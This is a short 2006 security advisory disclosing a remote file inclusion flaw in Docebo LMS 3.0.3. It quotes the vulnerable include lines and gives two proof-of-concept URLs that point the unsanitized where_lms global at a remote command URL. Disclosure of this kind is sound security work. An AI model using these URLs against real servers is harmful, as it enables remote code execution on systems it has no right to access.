DoceboLms303.txt

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Advisory id: FSA:010  
  
Author: Federico Fazzi  
Date: 09/06/2006, 7:24  
Sinthesis: Docebo Lms 3.0.3, Remote command execution  
Type: high  
Product: http://www.docebolms.org/  
Patch: unavailable  
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1) Description:  
  
Error occured in class.definition.php,  
  
include($GLOBALS['where_lms'].'/modules/'.$this->module_name.'/'.$this->module_name.'.php');  
  
Error occured in scorm_utils.php,  
  
include_once( $GLOBALS['where_lms'] . '/config.php' );  
  
The users can include a remote file because  
the $GLOBALS['where_lms'] isn't sanitized  
  
2) Proof of concept:  
  
http://example/[dc_path]/class.module/class.definition.php?GLOBALS[where_lms]=[cmd_url]  
http://example/[dc_path]/modules/scorm/scorm_utils.php?GLOBALS[where_lms]=[cmd_url]  
  
3) Solution:  
  
include file where are declare $GLOBALS[*]  
  
  
`